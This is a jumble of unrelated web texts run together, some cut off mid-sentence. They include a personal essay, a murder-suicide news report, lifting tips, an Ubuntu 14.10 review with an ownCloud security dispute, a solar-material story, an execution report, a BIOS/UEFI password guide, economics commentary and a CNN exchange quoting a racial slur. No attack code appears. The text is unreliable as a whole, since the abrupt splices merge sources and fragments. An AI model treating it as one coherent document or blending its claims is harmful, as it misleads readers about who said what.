Sunshine Daydream is aptly named. I feel as peaceful and contented as if I’d spent the entire day lying on soft grass in the sunshine with a good book. Grownup cares and concerns drift away, and for awhile I can just be a person who doesn’t have to worry about bills or kids or chores.
I glance at Rachel and smile. I think about this woman I’ve chosen as my Player 2, and how much better it is to be fighting with her than against her. After all, that’s how we’ve approached our lives. We face our boss battles hand in hand, and we’ve taken on some formidable enemies.
Between us, we’ve conquered job loss, gender transition, discrimination, and homelessness. We’ve been battered and bruised, down to our last lives with our health in the red. Sometimes it looked like the game was up, with no continue in sight. Seven years of partnership has had its effect on our co-op skills. We move and fight as one, and in the end we always come through the fight. We’re still standing.
I think about this woman I’ve chosen as my Player 2, and how much better it is to be fighting with her than against her.
I think about how every day, I can wake up and choose the way I want to play. I can choose to play single player, or I could play a multiplayer game with a different partner. I’ve tried many other combinations, but none so effective as the one we have. We’ve leveled up together. We’ve gained new equipment along the way, and every day we become a more powerful alliance. I choose her every day, and I’ll continue to choose her because you don’t mess with the perfect combo.EMBED >More News Videos Three members of a Burlington County family are dead as the result of a murder-suicide
Authorities say a man took the life of his wife and young son before killing himself in Burlington Township, New Jersey.Next door neighbor Fred Schwartz tells us, "I heard what sounded like explosions in the far distance. I don't know, I thought maybe someone had set off some fireworks or something. I sure didn't think gunshots at the time."Police responded to the family's home on Sunflower Circle at 10:15 Monday night after receiving a request for a wellness check from a relative.Officers didn't know what to expect and asked neighbors to take shelter."[Police] said you should move to the other side of the house because there was the possibility of gunfire," Schwartz said.Inside the home officers discovered the bodies of 50-year-old Ruben Johnson Jr., his wife, 48-year-old Mishanda, and their 10-year-old son, affectionately known as "Tre".The Burlington County Prosecutor's Office says their investigation revealed that Ruben Johnson Jr. fatally shot his wife and their son before turning the gun on himself.The couple's daughter, LoraVon Johnson, was away at college in Florida at the time of the murders."I heard the news I'm just in shock. I can't believe it. It's very sad and disturbing," said Fred Schwartz.There is no known motive yet. But neighbors are left horrified wondering what could have led a father to shoot and kill his wife and son."You always want to be cordial and be a good neighbor. But I guess you never know what's behind the walls," said neighbor Kelly Feoli.Authorities say no other suspects were involved in the shooting.1.
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Just some random stuff I've either discussed or thought about in the last few days.---The deadlift is poorly suited to a high training frequency. I've never derived any benefit from training the lift more than once per week; and even that is pushing it in terms of recovery if I'm squatting heavy within that same week. Generally speaking, I've had my best deadlift-sessions while training the lift no more than once every 8-12th day.When increasing the weight for a movement, you need to pay attention to the percentage increase in load. This may seem like common sense, but people are prone to ignore it and only think of the increase in terms of poundage. Guys are sometimes stumped about why they lose a lot of reps when switching to a heavier set of dumbells. They go from 50 lbs x 8 for seated dumbbell presses to 55 lbs x 5-6 - a loss of 2-3 reps accompanied by a feeling of "Oh shit. This was a lot heavier than I imagined." Well, a mere 5-lb increase in load for dumbbells often represents a +10% increase in load unless you're fairly strong. Assuming strength is unchanged, you'll lose about 1 rep for every 2.5% increase in load. Thus a 10% increase may cause the loss of 4 reps if you didn't gain any strength since the last session. So when you're moving up to the next pair of dumbbells, consider the percentage increase in the load you'll be working with. Make sure to get at least 8 reps with your current dumbbell-pair before jumping to the next pair; this will give you some leeway with regards to potential loss of reps and hopefully be able to eek out at least 5 reps using the new weight.Going all out on some compound movements, i.e RPT, warrants a day of rest before returning to the gym. Attempting a second session within 24 hrs after the first is more often than not a losing strategy. I always note a negative effect on my strength on the second session - even if the lift(s) trained on the preceding day(s) involved completely different muscle group(s). For example, squats to failure will affect pressing strength on the next day. This is likely due to effects on the central nervous system caused by failure-training (such as RPT or HIT).A crumpled old "training log". Don't matter where or how you keep it, but you better make damn sure you have one. For as long as I can remember I've been using old post-it notes to keep track of my workouts.The primary function of weight-training on a diet should be to preserve muscle mass and maintain strength. If this attitude is in place, it's possible to increase strength and muscle mass while losing fat depending on the training status of the client.I am not a fan of "metabolic" workouts or glycogen-depletion as a means to fat loss. It's inferior to regular weight-training and not a time-efficient way to increase calorie expenditure. It also tends to increase the perceived challenge of the diet; lactate-inducing workouts can be gruesome. My goal is always to make the diet as painless and easy as possible. Painful workouts are never part of the plan.During fat loss, no one needs to weight-train more than 3x/week. Muscle groups don't need higher frequency than 1x/week if intensity is high. Find more productive things to do with your time. Most people screw themselves over by being in the gym too much and too often. Less is more and this is especially true on a diet.Studies suggest greater strength gains with longer rest periods. In a recent study, 5 minutes was superior to 1 and 3 mins. Too |
480MB of RAM when logged into the Unity desktop.
Ubuntu ships with several useful and popular open source applications. We are given the Firefox web browser and, assuming we enabled third-party multimedia support during the installation of the distribution, Flash is also included. The LibreOffice productivity suite is provided for us along with the Thunderbird e-mail client and a document viewer. The Totem video player, the Rhythmbox audio player and the Brasero disc burner are installed by default. With third-party multimedia codecs enabled these players can handle popular media formats. I found an archive manager, a text editor, a calculator and a backup utility installed. There are also a few small games, the Orca screen reader application and the Transmission bittorrent software. Network Manager is available to help us get on-line. I didn't find Java installed, but I did find the GNU Compiler Collection installed along with the usual command line utilities, manual pages and the Linux kernel, version 3.16.
Earlier in the year, the Ubuntu team announced they would be following Debian's example and adopting systemd in the future. I was curious, going into this trial, whether Ubuntu would ship with the Upstart init software or if the distribution had switched over to systemd. A quick check showed systemd processes to be running on the system and running "man init" on the command line brought up the manual page for systemd. However, looking at the init process itself revealed Upstart is still responsible for bringing the operating system on-line. It appears as though Ubuntu is adopting pieces of systemd, using it to maintain compatibility with some software while relying on the older Upstart software to act as init.
Ubuntu 14.10 - finding packages through Software Centre
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Managing software on Ubuntu is handled through the Software Centre. This application allows us to search through categories of software and locate packages by name or by function. We can click on a package's entry to bring up detailed information about our selection, complete with user reviews and screen shots. We can add or remove software from the system with the click of a button. Actions performed on packages happen in the background while we continue to browse through the Software Centre. One aspect of the Software Centre I like is that it will make recommendations to us based on popular downloads. This makes the Software Centre more attractive to newcomers who might not be sure what works best. The Software Centre, in its current form, worked well for me and I found it to be both responsive and easy to use. I feel it noteworthy that we can also install new software through the Unity Dash. When searching for programs in the Dash we are shown both installed applications and applications available in the repositories that match our search. Clicking on an application that has not yet been installed brings up the option to add the application to our system.
On the subject of Dash, I feel it has evolved well in these past few releases of Ubuntu. The Dash makes it fairly easy to find documents and software by name. We can also filter items, showing only specific categories of software, for example. I think the Dash performs a little faster now than it did in previous releases (though I have not performed strict tests) and I find it useful when I want to access a program, but I'm not sure if that program is installed locally yet. I also feel the HUD is worth mentioning. When operating in the Unity environment tapping the ALT key brings up a search box, called the HUD. Typing in the name of a command or feature causes the HUD to display a list of matching features the currently active application supports. For example, if we are running LibreOffice and type "export" the option to export the current document to PDF format appears. Tapping ALT and typing "spell" brings up the option to run LibreOffice's spell checker. The HUD is useful when we know what we want to do, but not where to find the desired feature in an application's menu tree.
Ubuntu 14.10 - browsing applications with Unity Dash
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I also want to mention the backup utility, available through the Dash or System Settings panel. The backup application is designed to be very easy to use and it guides us through setting up scheduled backups with a few mouse clicks. We can choose which directories to save and how often to perform backups (daily or weekly). Archives we create can be saved to a local directory on our computer, to a network share or to another computer running the OpenSSH secure shell service. I found the backup utility worked well and was easy to use. My only complaint was that when we attempt to restore a file, we need to unpack the entire archive (either to its original location or to a directory we have set aside). There does not appear to be any way to extract a single, specific file out of an archive using the backup utility. That being said, the archives created appear to be regular tar archives and we can extract single files from the archives using an alternative utility.
Conclusions
After using Ubuntu 14.10 for a few days it occurred to me that this release is unusual in that it seems as though very little has changed since the previous release. The Ubuntu distribution is infamous for its little changes and tweaks. Fans and critics typically have something to talk about, whether it is a different scroll bar style or window control buttons moving from right to left or a change in the way the Dash functions. This release of Ubuntu is uncharacteristically tame with just subtle differences in the version numbers of some key applications and the Linux kernel. Big changes, like the shift to Mir and the Unity 8 desktop, are being held off until October of 2015 and it seems, for now, the developers have decided to focus on minor bug fixes.
I think this tame release of Ubuntu is a good sign. Instead of talking about a new desktop layout or getting distracted by cosmetic changes, two of the few things which attracted my attention while using Ubuntu 14.10 were that it appears to be slightly faster than Ubuntu 14.04 and Unity is more stable on my test machine. When Ubuntu 14.04 came out, I felt it was a solid release and I had a very positive experience with it. One of my few complaints with Ubuntu 14.04 was the appearance of the occasional error message telling me some part of Unity had crashed and would I like to send a bug report? So far, while using Ubuntu 14.10, I have not seen a single crash notification. Nothing has glitched, nothing has crashed. The operating system has performed smoothly and quickly.
Ubuntu is, in my opinion, one of the easier Linux distributions to install and use. The Unity desktop, while some people don't care for its approach to doing things, has proven to be easy for people to learn when I've introduced non-Linux users to it. The system comes with a good collection of default software, the settings panel is easy to navigate and the Unity desktop has become more configurable in recent releases. There are some aspects of Ubuntu I don't like. I'm not a fan of on-line search being enabled by default. While it's possible to opt-out of on-line searches I would prefer not having data transmitted to Canonical (and third-parties) by default. I am not a fan of the unified menu bar at the top of the screen, but this too can be configured, restoring menu bars back to their traditional location inside application windows. I guess what I'm coming to is Ubuntu may do some things I don't like, but I have to admit those features I don't like are easily configurable.
On the whole, I think Ubuntu 14.10 is a good release, it adds a touch of polish on top of the already solid 14.04 version. This is one of the more newcomer friendly distributions I have used this year and I am happy with what the Ubuntu team has done, specifically focusing on minor improvements and bug fixes.
* * * * * Hardware used in this review
My physical test equipment for this review was a desktop HP Pavilon p6 Series with the following specifications: Processor: Dual-core 2.8GHz AMD A4-3420 APU
Storage: 500GB Hitachi hard drive
Memory: 6GB of RAM
Networking: Realtek RTL8111 wired network card
Display: AMD Radeon HD 6410D video card * * * * * Ubuntu and ownCloud security
At this time I would like to take a moment to discuss something which involves Ubuntu, but is not strictly about the distribution. Rather this is more about ownCloud. The ownCloud project creates server and client software for synchronizing files between multiple computers. The ownCloud software works a lot like Dropbox or iCloud or the now discontinued Ubuntu One service. People can install ownCloud on a computer (a desktop or a server) and then use client-side software to synchronize directories of files between computers. For people who like to create their own solutions rather than rely on third-party vendors (like Dropbox or Google) ownCloud provides an easy way to set up self-managed file synchronization. I use ownCloud and I'm a fan of the software.
A few weeks ago ownCloud developer Lukas Reschke contacted the Ubuntu team and requested the ownCloud server software be removed from the Ubuntu repositories: " On behalf of the ownCloud project (www.owncloud.org) I'm requesting that 'ownCloud server' is removed from the Ubuntu packages (including all versions). Let's hope that this is finally the right mailing list for this kind of request. These packaged versions are all vulnerable to multiple critical security bugs and no security fixes have been backported.
Marc Deslauriers, a Canonical developer, responded, saying software could not be removed from versions of Ubuntu already released, but suggested the ownCloud team could work with Ubuntu on a solution. Potential solutions included helping to back-port fixes from newer versions of ownCloud into Ubuntu's packages or possibly helping the Ubuntu team to package a new version of ownCloud. Either solution would allow Ubuntu users to continue using ownCloud and protect them from vulnerabilities.
Reschke declined to work with the Ubuntu developers, replying: " From my side, my work is done here, I have informed the responsible persons via multiple channels and if they have no intentions to fix the problems on their own we can very well life [sic] with that and will just add a big security warning to our installation guide. That will take much less time to do and has the same result for us. " He also stated the Debian developers had cooperated with the take-down notice, posting: " I want to use this opportunity and state that with different distributions (such as Debian) it was absolutely not a problem to get the freezed packages removed. " As it turns out, Debian still packages ownCloud and the server software is still available in all branches of Debian.
In the end, a bug report was filed, requesting the ownCloud server software be removed from Ubuntu 14.10 (prior to release) and it appears ownCloud is no longer offered in the latest version of Ubuntu. People who run Ubuntu can still download ownCloud via packages the ownCloud project maintains.
There are a few key points to this story I find disturbing, both as a developer and as an end user. Perhaps the primary issue here is the idea an upstream developer feels it is appropriate to request (legally packaged and distributed) software be removed from distribution archives, even from archives of distributions that have already been released. With a relatively niche software package like ownCloud people might not notice, but imagine the turmoil that would erupt if GNU requested Debian and Ubuntu drop the bash shell interpreter in the wake of the Shell Shock bug. Or imagine if Mozilla insisted distributions remove old versions of Firefox from their frozen repositories. Most users would be very upset with the upstream developers and any distribution that complied with the request. Yet a single ownCloud developer can request (and succeed) in having software pulled from Ubuntu.
I also think it is a shame the ownCloud project doesn't mind putting the work into maintaining packages for seven different distributions, but they apparently refuse to work with downstream projects to keep packages up to date. I think (speaking from experience) working with those seven distributions to help keep packages maintained would not only be less work in the long run, but it would also likely result in more bug fixes and faster deployments downstream. As it stands, ownCloud's approach of doing all the work themselves, while refusing to cooperate with downstream projects, seems like more effort for the ownCloud developers and more work for people deploying ownCloud.
Above I mentioned I run an installation of ownCloud and it happens to reside on a server running Ubuntu. Following the removal of ownCloud from Ubuntu I decided to upgrade to a newer version, using a package provided by the ownCloud team. I installed the package provided by upstream and discovered a few things. One is that the upstream ownCloud package over-wrote my configuration. This meant that the new ownCloud installation did not recognize my existing files, declared my account "empty" and caused the ownCloud clients on each of my computers to erase my synchronized directories. A second thing I noticed, when I tried to rollback my ownCloud installation, is that major versions are not backward compatible. For example, trying to run ownCloud 7 with a copy of my ownCloud 6 database/configuration did not work.
In the end, I was able to get the new version of ownCloud working on my server and, thanks to my paranoid approach to backups (using rsync to copy all my documents, daily, to another server that doesn't run ownCloud), I didn't lose any of my work. Still, I'm left with a few questions. Such as why does ownCloud insist on rolling their own packages and why do they refuse to work with downstream projects to secure their software? Why does Canonical allow upstream projects to demand legally packaged software be removed from their repositories, isn't that a slippery slope? Why didn't the Ubuntu team pull in the latest packages from Debian since Debian's packages act as an upstream source for the Ubuntu distribution? I feel this situation could have been handled better by both sides and, judging by my own experience, it seems the only people who will get hurt are the people ownCloud is trying to protect.Scientists have created the ‘black hole of sunlight’ - a new nanoparticle-based material that absorbs and converts more than 90 percent of captured sunlight to heat.
Research from the US have developed a super-Sun-absorbing material that will help concentrating solar power (CSP) plants to generate more electricity and run for longer - a huge step towards making solar a viable alternative to fossil fuels.
Traditional power plants burn coal or fossil fuel to create heat in the form of steam. This steam then turns a giant turbine that generates electricity from spinning magnets and conductor wire coils. One of the most promising clean energy technologies are CSP plants, which create the steam needed to turn the turbine by using sunlight to heat molten salt.
A world-first CSP plant in Australia has already proved that the steam generated by solar power is pressurised and hot enough to match that produced by fossil fuels.
Most CSP plants generate energy by using hundreds of thousands of large, reflective mirrors that concentrate sunlight at a tower that has been painted with a light-absorbing black paint material. Importantly, this electricity generated from the power of the Sun can be fed directly into our existing grid, and, because the mirrors can be used to concentrate light even on cloudy days, it overcomes many of the issues of solar panels.
But one downside is that the material that is currently used degrades quickly and needs to be reapplied once a year, meaning that CSP plants are shut down and no power can be generated in this time.
To combat this problem, scientists have developed a material that has a longer life cycle and allows for greater conversion of captured sunlight into heat.
Researchers from the University of California in the US created the new “multiscale” material by covering it in thousands of scale-like particles ranging from 10 nanometres to 10 micrometres. The material can withstand temperatures greater than 700 degrees Celsius, allowing it to more efficiently trap and absorb sunlight.
It can also tolerate exposure to air and humidity, enabling it to survive for many years in the outdoors. More importantly, these unique properties allow the material to convert more than 90 percent of captured sunlight to heat.
"We wanted to create a material that absorbs sunlight that doesn't let any of it escape," said Sungho Jin, engineer and one of the researchers, in a press release. "We want the black hole of sunlight."
CSP plants can produce around 3.5 gigawatt-hours of power per year, which is enough to power more than 2 million homes. The technology can easily retrofit existing power plants, as both use the same process to generate electricity.
The team are continuing their research by further extending the usage life of the material, and hope that the breakthrough will finally prove that solar is not only a cheaper and more sustainable source of energy than fossil fuels, but also that it's more efficient.
The findings are published in the journal Nano Energy.
Source: EurekAlertStory highlights Marvin Wilson was convicted of shooting to death a 21-year-old man in 1992
Wilson had an IQ of 61, according to the ACLU, which opposed the execution
"Take me home, Jesus, take me home, Lord" are among his last words
A Texas man convicted in the shooting death of a 21-year-old man in 1992 was executed Tuesday in Huntsville, officials said.
Marvin Wilson was pronounced dead at 6:27 p.m. (7:27 p.m. ET), the Texas Department of Criminal Justice said.
Wilson's IQ had been measured at 61, according to the American Civil Liberties Union of Texas, which opposed the execution.
In an online posting, the ACLU said Wilson, 54, had been declared "intellectually disabled" by a court-appointed neuropsychologist.
"Despite all the signs of Mr. Wilson's intellectual disabilities and the diagnosis of the court-appointed neuropsychologist, the District Court of Jefferson County (Texas) concluded that Mr. Wilson is not mentally retarded," the ACLU posting said, with "not" italicized for emphasis.
Before he was put to death by injection, Wilson made a final statement in which he said, "Ya'll do understand that I came here a sinner and leaving a saint. Take me home, Jesus, take me home, Lord."
Wilson was convicted in the shooting death of Jerry Robert Williams in Beaumont, Texas. According to the Texas Department of Criminal Justice, Williams was abducted and shot after a "physical confrontation" between the two men.I’m a fan of 3D printing, but not a fan of all the trashy plasticky trinkets most of them are limited to making now. I’ve always thought the only compelling reason for using a 3D printer of the tabletop, plastic filament variety is to make something unique that you otherwise couldn’t. Bespoke sex toys, bespoke parts for your drone, bespoke bits of your face—that kind of thing.
But I’m willing to relax that rule if you’re making trashy trinkets out of actual trash, turning what was literally waste into something that, though perhaps not the most useful thing in the world, holds some value for someone.
That’s the idea behind a project called Plastic Bank, which is using 3D printing in its efforts to help reduce the waste plastic in the oceans. Here’s the idea: You collect litter from the oceans and waterways, then recycle it into plastic filament that can be 3D printed.
Ecopreneurist reports that they recently printed this little plastic wrench with a MakerBot, which they claim is the first thing to be 3D printed from recycled ocean plastic. Sure, it’s not the most amazing thing in the world, but it’s better than having that same plastic strewn across the beaches, or just pumping out more plastic to pollute the world. (Though, if it’s used as an alternative to other manufacturing methods, 3D printing could also save on waste materials owing to the additive nature of the process.)
And as we’ve seen time and again, a lot of plastic ends up in our waterways, making its way all the way down to the depths of the oceans and forming whole floating islands of garbage on the surface, not to mention poisoning the ecosystems they pollute.
But as that’s apparently not enough to get us to clean up, Plastic Bank is basically trying to incentivise collecting waste plastic by giving it some new value. They’re looking to set up the scheme in communities faced with poverty, for example in Colombia and Peru, where the first “bank” was launched last month.
To be clear, I don’t quite agree with the company’s assertion that they’re “part of the solution to eradicate poverty and eliminate plastic waste from our oceans”—it’s going to take a little more than that to achieve either of these goals—but recycling any amount of waste plastic can only be a good thing. They recently won an award for their efforts from Recycling Council of British Columbia in Canada, where they’re based (and where they collected the filament for that recycled wrench).
If nothing else, at least it might encourage people to consider sustainability in everyday hobbyist 3D printing. If we can turn even washed up plastic waste into 3D printing materials, surely its about time recycled filament became a standard?Chorus of Progressive Economists: Govt. Must Spur Demand to End Recession
Then-presidential candidate Barack Obama greets former Labor Secretary Robert Reich (C) and others during a meeting with some of his top economic advisers on July 28, 2008, in Washington, D.C. (Photo by Chip Somodevilla/Getty Images)
Largely oblivious to the reality among working families grappling with unemployment and wage cuts, and trying to avoid foreclosures, conservative politicians (mostly GOP, but also a considerable number of Democrats) are building momentum for an assault on federal budget deficits by slashing government spending.
But more than 300 economists have countered with a strong statement calling instead for the opposite solution: a vigorous expansion of federal stimulus efforts—and the deficit—to lift the economy out of the persisting Great Recession.
"The deficit focus risks repeating the mistakes of1937, when FDR pulled back on public spending and plunged us back into the depths of a very deep recession," former Labor Secretary Robert Reich told reporters Thursday on a national conference call with several of the country's most prominent progressive economists. "We're in danger of deflation, continued recession, and not getting out of this recession."
The economic recovery is anything but vigorous, as shown by a weak 1.6% level of growth during the second quarter and a rise in poverty, which now afflicts 43 million people, the highest level in a half-century. Other fundamental problems remain, the economists point out:
"The basic problem is a lack of demand," argued economist Dean Baker of the Center on Economic and Policy Research, and author most recently of Plunder and Blunder. "Yet it is striking that we've had a dominant narrative that's 180 degrees at odds with reality." As the economists wrote:
Today, the economy is growing only weakly. 7.8 million jobs have been lost in the recession. Consumers, having suffered losses in home values and retirement savings, are tightening their belts. The business sector, uncertain about consumer spending, is reluctant to invest in expansion or job creation, leaving the economy trapped on a path of slow growth or stagnation. Over 20 million American workers are now unemployed, underemployed or simply have given up looking for a job.
The increase in deficits and long-term federal debt is hardly due to anti-recessionary spending, explained Baker.
REAL ROOTS OF DEFICIT
The largest portion of the federal debt is due to unfunded tax cuts and two wars enacted during the George W. Bush administration, Baker noted. President Obama's $787 billion stimulus plan and other initiatives comprise only a fraction of the red ink, but they weren't sufficient to generate enough consumer demand to escape the recession.
"Emergency stimulus policies here and around the world broke the fall, but brought us only part way to full recovery," the economists declared.
The push for drastic deficit-cutting flies in the face of logic and the hard-learned lessons of the 1930's, the statement read:
History suggests that a tenuous recovery is no time to practice austerity. In the Great Depression, Franklin Roosevelt’s New Deal generated growth and reduced the unemployment rate from 25 percent in 1932 to less than 10 percent in 1937. However, the deficit hawks of that era persuaded President Roosevelt to reverse course prematurely and move toward budget balance. The result was a severe recession that caused the economy to contract sharply and sent the unemployment rate soaring. Only the much larger wartime spending of the early 1940s produced a full recovery.
"Austerity economics" will not provide the level of consumer demand needed to rekindle the economy and bring down unemployment, the economists argue.
"There are four sources of demand for business," explained Reich. "The first are consumers, who are buried in debt. Second, there is business, which is sitting on more than a trillion dollars in profits but not plowing it back into new machinery and not hiring because they don't see the customers." Exports, another demand source, offer limited hope, as other advanced nations are also in a slump...
ONLY GOVERNMENT CAN BOLSTER DEMAND
"Finally, there is government as a consumer, when all else fails," Reich said.
President Obama has taken some steps in the right direction recently to prevent layoffs and service cuts in the public sector and to aid small businesses, but needs to act much more boldly, said Robert Borosage, president of the Institute for America's Future. Borosage urged a vast expansion of stimulus and public sector job-creation programs, especially for young people coupled with tax cuts for all but the richest 3%.
Democratic "deficit hawks" should recognize that deferring the problems of prolonged high unemployment and weak consumer demand will play directly into the Republicans' hands. "The Democrats who are worried about the deficit need to remember that the Republicans are not averse to seeing a bad economy going into the next election, because it's not in their political self-interest," Reich stated.
Not only is a choice of trimming the deficit over stimulating the economy bad politics, but it is bad policy, argued Reich. "Democrats must understand that government has responsibility but opportunity, with low interest rates, to rebuild the nation's infrastructure.... If we wait to rebuild the infrastructure, we will face much a higher bill to repair it later on."
Robert Kuttner, co-founder of The American Prospect and author of A Presidency in Peril, said that the nation faced a choice between "a high road to recovery or a low road to fiscal balance."
RECOVERY BEFORE TACKLING DEFICIT
"We need the proper sequencing: first, recovery via adequate stimulus and job creation programs. And then we can go to work on the deficit with much lower unemployment and much less need for the government to spend. The idea that we can belt-tighten our way to recovery defies every proven theory in economics," Kuttner stressed.
Even the most valuable forms of government spending are coming into the gun sights of conservatives, the experts noted. Teresa Ghilarducci, author of When I'm 64: The Plot Against Pensions, outlined how Social Security—once under attack from the Right, as in Rep. Paul Ryan's (R-Wis.) "Roadmap for America"—is preventing the current downturn from growing much worse.
"Social Security benefit increases are more necessary than ever because of the collapse of the private pension system," as the shrinkage of union strength has allowed employers to switch, with federal subsidies, to less-expensive 401(k) plans that provide a smaller and much more unreliable source of retirement income.
With the pension system weakened for workers, Social Security's role has been critical during the present crisis. The program's existence has held down unemployment by allowing older workers to retire rather than continue in the job market. It has also bolstered consumer demand, she said.
But because of the Right's longstanding ideological hostility to all forms of "social insurance," as Kuttner put it, Social Security is under attack again, including recent barbs by the former Sen. Alan Simpson, co-chair of the National Commission on Fiscal Responsibility and Reform.
Meanwhile, the Republicans are eagerly yanking the cords on their chainsaws, hoping that the Nov. 2 midterm elections will allow them to start lopping off $100 billion in domestic spending, which Minority Leader John Boehner recently declared as the GOP's goal.
The Republican approach to deficit cutting is certain to extinguish any hope of economic recovery, bluntly declared Dean Baker.A Windows, Linux, or Mac password just prevents people from logging into your operating system. It doesn’t prevent people from booting other operating systems, wiping your drive, or using a live CD to access your files.
Your computer’s BIOS or UEFI firmware offers the ability to set lower-level passwords. These passwords allow you to restrict people from booting the computer, booting from removable devices, and changing BIOS or UEFI settings without your permission.
When You May Want to Do This
RELATED: What Does a PC’s BIOS Do, and When Should I Use It?
Most people shouldn’t need to set a BIOS or UEFI password. If you’d like to protect your sensitive files, encrypting your hard drive is a better solution. BIOS and UEFI passwords are particularly ideal for public or workplace computers. They allow you to restrict people from booting alternative operating systems on removable devices and prevent people from installing another operating system over the computer’s current operating system.
Warning: Be sure to remember any passwords you set. You can reset the BIOS password on a desktop PC that you can open fairly easily, but this process may be much more difficult on a laptop you can’t open.
How It Works
RELATED: Why a Windows Password Isn’t Enough to Protect Your Data
Let’s say you’ve followed good security practices and have a password set on your Windows user account. When your computer boots, someone will have to enter your Windows user account password to use it or access your files, right? Not necessarily.
The person could insert a removable device like a USB drive, CD, or DVD with an operating system on it. They could boot from that device and access a live Linux desktop — if your files are unencrypted, they could access your files. A Windows user account password doesn’t protect your files. They could also boot from a Windows installer disc and install a new copy of Windows over the current copy of Windows on the computer.
You could change the boot order to force the computer to always boot from its internal hard drive, but someone could enter your BIOS and change your boot order to boot the removable device.
A BIOS or UEFI firmware password provides some protection against this. Depending on how you configure the password, people will need the password to boot the computer or just to change BIOS settings.
Of course, if someone has physical access to your computer, all bets are off. They could crack it open and remove your hard drive or insert a different hard drive. They could use their physical access to reset the BIOS password — we’ll show you how to do that later. A BIOS password still does provide extra protection here, particularly in situations where people have access to a keyboard and USB ports, but the computer’s case is locked up and they can’t open it.
How to Set a BIOS or UEFI Password
RELATED: How to Boot Your Computer From a Disc or USB Drive
These passwords are set in your BIOS or UEFI settings screen. On pre-Windows 8 computers, you’ll need to reboot your computer and press the appropriate key during the boot-up process to bring up the BIOS settings screen. This key varies from computer to computer, but is often F2, Delete, Esc, F1, or F10. If you need help, look at your computer’s documentation or Google its model number and “BIOS key” for more information. (If you built your own computer, look for your motherboard model’s BIOS key.)
In the BIOS settings screen, locate the password option, configure your password settings however you like, and enter a password. You may be able to set different passwords — for example, one password that allows the computer to boot and one that controls access to BIOS settings.
You’ll also want to visit the Boot Order section and ensure the boot order is locked down so people can’t boot from removable devices without your permission.
RELATED: What You Need to Know About Using UEFI Instead of the BIOS
On post-Windows 8 computers, you’ll have to enter the UEFI firmware settings screen through Windows 8’s boot options. Your computer’s UEFI settings screen will hopefully provide you with a password option that works similarly to a BIOS password.
On Mac computers, reboot the Mac, hold Command+R to boot into Recovery Mode, and click Utilities > Firmware Password to set a UEFI firmware password.
How to Reset a BIOS or UEFI Firmware Password
RELATED: How to Clear Your Computer’s CMOS to Reset BIOS Settings
You can generally bypass BIOS or UEFI passwords with physical access to the computer. This is easiest on a desktop computer that’s designed to be opened. The password is stored in volatile memory, powered by a small battery. Reset the BIOS settings and you’ll reset the password — you can do this with a jumper or by removing and reinserting the battery. Follow our guide to clearing your computer’s CMOS to reset a BIOS password.
This process will obviously be more difficult if you have a laptop you can’t open up. Some computer models may have “back door” passwords that allow you to access the BIOS if you forget the password, but don’t count on it.
You may also be able to use professional services to reset passwords you forget. For example, if you set a firmware password on a MacBook and forget it, you may have to visit an Apple Store to have them fix it for you.
BIOS and UEFI passwords aren’t something most people should ever use, but they’re a useful security feature for many public and business computers. If you operated some sort of cybercafé, you’d probably want to set a BIOS or UEFI password to prevent people from booting into different operating systems on your computers. Sure, they could bypass the protection by opening up the computer’s case, but that’s harder to do than simply inserting a USB drive and rebooting.Story highlights Somaliland is a self-declared state in east Africa
Sahra Halgan is iconic for her songs about gaining statehood recognition for Somaliland
(CNN) Musical icon Sahra Halgan was one of the many people who fled Somaliland after the brutal Siad Barre regime, which left the self-declared country in ruins.
The capital, Hargeisa, was turned to rubble, with many public services and utilities destroyed.
During the Somali conflict in the late 80s and early 90s, Halgan worked as a nurse, but was always passionate about music.
The Somali National Movement (SNM) fought with government forces in the northern territories, securing control of the region in 1991.
"We didn't have medicine, painkillers or antibiotics. We had nothing. I would sing and my songs would be the painkiller," she told CNN.
She would sing songs that embodied the spirit of the Somali National Movement (SNM), who sought to overthrow the Barre regime and became famous for her songs about Somaliland gaining recognition as an independent state.
Read MoreRicardo Santana
Santiago
Violentas protestas se registran hoy en varias comunidades del municipio de Licey Al Medio, de la provincia de Santiago y de la parte baja de Moca en demanda del asfaltado de calles, sistemas cloacales y mejoría de los servicios de agua potable y energía.
En las primeras horas se escucharon disparos y detonaciones de bombas de fabricación caceras, creando pánico en la población. El paro, que se extenderá por 48 horas, es auspiciado por organizaciones populares de la zona.
A las comunidades en protesta fueron enviados agentes de la Policía Nacional y del cuerpo especializado de los Swat.
Los manifestantes incendiaron neumáticos y lanzaron escombros en la carretera Duarte que une a Santiago con Moca.
Debido a las protestas, muchos choferes del transporte público y conductores que se desplazan desde y hacia Santiago-Moca se desviaron por la Autopista Presidente Ramón Cáceres.
Hasta el momento no se han reportado heridos y detenidos.
También en la comunidad de San José de la Mina, al sur de Santiago, sus pobladores protestaron frente a la escuela Padre Vidal, en reclamo de que se le construya un liceo, tal como se le prometió.Baltimore City Council member Carl Stokes clashed with CNN’s Erin Burnett on Tuesday when she argued in favor of calling rioters in the city “thugs.”
“Isn’t it the right word?” Burnett asked.
“No, it’s not the right word to call our children ‘thugs,'” Stokes said. “These are children who have been set aside, marginalized, who have not been engaged by us.”
“But how does that justify what they did?” Burnett countered. “That’s a sense of right and wrong. They know it’s wrong to steal and burn down a CVS and an old persons’ home. I mean, come on.”
“Come on? Just call them n*ggers. Just call them n*ggers,” Stokes told her. “No, we don’t have to call them by names such as that. We don’t have to do that. That is exactly what we’ve sent them to. When you say, ‘Come on,’ come on what? You wouldn’t call your child a thug if they should do something that would not be what you expect them to do.”
“I respect your point of view,” Burnett replied. “I would hope that I would call my son a thug if he ever did such a thing.”
The city’s mayor, Stephanie Rawlings-Blake, has been criticized for blaming the unrest in the city on “thugs” while seemingly ignoring police violence that contributed to escalating tensions between law enforcement and residents leading up to the death of 25-year-old Freddie Gray in police custody earlier this month.
“You need to do better, Rawlings-Blake,” Hillary Crosley Coker wrote in Jezebel. “Because, right now, you look like the woman who is protecting the people who are killing your voters.”
On Tuesday, Burnett attempted to get Rep. Kweisi Mfume (D-MD) to weigh in on the topic, only for Mfume to describe it as a derailing.
“It’s important that we not shift the focus into something that has absolutely nothing to do with poverty, despair, hunger, homelessness and the sense of not belonging,” Mfume said.
The exchange between Burnett and Stokes came hours after her colleague, Wolf Blitzer, was called out by activist DeRay McKesson for also downplaying the use of lethal force by authorities.
Watch the discussion, as posted online on Tuesday, below.The young man grips the megaphone, lamplight illuminating his features as he speaks animatedly in Spanish about the need to "find jobs and overthrow |
games before sitting out last weekend with a minor calf strain.
After his long lay-off, Wells understandably struggled for match fitness in his three VFL games.
But Scott said Wells could come straight back into North's team against Richmond, possibly as its substitute.
